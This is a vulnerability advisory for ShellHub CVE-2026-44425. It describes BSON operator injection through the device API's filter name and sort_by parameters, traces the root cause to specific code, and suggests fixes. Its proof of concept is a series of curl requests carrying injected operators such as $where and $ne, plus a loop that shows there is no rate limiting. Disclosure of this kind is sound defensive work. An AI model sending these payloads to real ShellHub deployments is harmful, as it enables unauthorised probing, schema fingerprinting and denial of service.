ShellHub CVE-2026-44425

Summary

The device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:

1. The name field of each filter property in the base64-encoded filter

query parameter.

1. The sort_by query parameter.

Any authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.

Severity

CVSS 3.1: 6.5 (Medium) CWE-20 (Improper Input Validation) CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)

Affected versions

ShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (api/store/mongo/query-options.go).

Root cause

Vector 1 - Filter field name

api/store/mongo/query-options.go:140:

  conditions = append(conditions, bson.M{param.Name: property})

param.Name is the name field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names ($where, $ne, $or, $regex) and virtual pipeline-computed fields (namespace, paths containing $) to be injected.

Vector 2 - Sort-by field

Similar pattern in the sort pipeline where the sort_by query parameter is used to build bson.M{"$sort": {sortBy: order}} without validation.

Additional observation

fromContains (api/store/mongo/internal/filters.go:60-69) passes user input directly as $regex value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets.

  func fromContains(value interface{}) (bson.M, error) {
      switch value.(type) {
      case string:
          return bson.M{"$regex": value, "$options": "i"}, nil

Proof of concept (validated live against v0.24.1)

  TOKEN=<valid-user-jwt>
# Helper: base64-encode a filter payload
  encode_filter() {
    python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' "$1"
  }
# --- Vector 1: filter field injection ---
# Baseline: legitimate filter -> 200
  F=$(encode_filter '[{"type":"property","params":{"name":"name","operator":"contains","value":"anything"}}]')
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
    -H "Authorization: Bearer $TOKEN"
# HTTP=200
# Exploit 1a: Mongo operator as field name
  F=$(encode_filter '[{"type":"property","params":{"name":"$where","operator":"contains","value":"x"}}]')
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
    -H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 1b: nested object as value
  F=$(encode_filter '[{"type":"property","params":{"name":"status","operator":"eq","value":{"$ne":"accepted"}}}]')
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
    -H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 1c: pipeline-computed field as filter name
  F=$(encode_filter '[{"type":"property","params":{"name":"namespace","operator":"contains","value":"."}}]')
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
    -H "Authorization: Bearer $TOKEN"
# HTTP=500
# --- Vector 2: sort-by injection ---
# Baseline: legitimate sort -> 200
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=name" \
    -H "Authorization: Bearer $TOKEN"
# HTTP=200
# Exploit 2a: Mongo operator as sort field
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=\$where" \
    -H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 2b: path containing $
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=_id.%24%24%24" \
    -H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 2c: oversized sort field (no length validation)
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=$(python3 -c 'print("A"*5000)')" \
    -H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 2d: non-indexable internal field
  curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=tenant_id" \
    -H "Authorization: Bearer $TOKEN"
# HTTP=500
# --- Repeat to demonstrate no rate limiting ---
  for i in $(seq 1 20); do
    curl -sS -o /dev/null -w "%{http_code} " "http://target/api/devices?sort_by=\$where" \
      -H "Authorization: Bearer $TOKEN"
  done
# 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500

Confirmed field values that trigger 500:

• Filter name: $where, $regex, $or, $ne, remote_addr, tenant_id, namespace, any path containing $ after a .
• Sort-by: $where, _id.$$$, tenant_id, password.hash, overly long strings

Observed response characteristics:

  HTTP/1.1 500 Internal Server Error
  Content-Length: 0
  X-Request-Id: <id>    ← logged as error in backend

Response time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.

Impact

• Availability (low): unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass

fingerprinting.

• Information disclosure (low): potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.
• Resource exhaustion (potential): user-controlled $regex value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments).
• Forensics difficulty: unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.

Suggested fix

1. Allowlist filter and sort field names per collection. Add a whitelist of allowed param.Name and sort_by values for each model exposed via filters (device, session, etc.). Reject anything else with HTTP 400.
2. Reject BSON operators in field names. Even if an allowlist is not practical, reject values that:

• start with $
• contain $ after a .
• contain characters outside [A-Za-z0-9_.]
• exceed a reasonable length (e.g., 64 characters)

1. Validate value shape. For contains/eq/ne operators, reject non-primitive values (objects, arrays of objects).
2. Catch aggregation errors. In api/store/mongo/query-options.go, wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500.
3. Limit regex complexity. In fromContains, reject regex values longer than N characters or containing nested quantifiers ((...)+, (...)*, (.+)+, etc.) to mitigate ReDoS.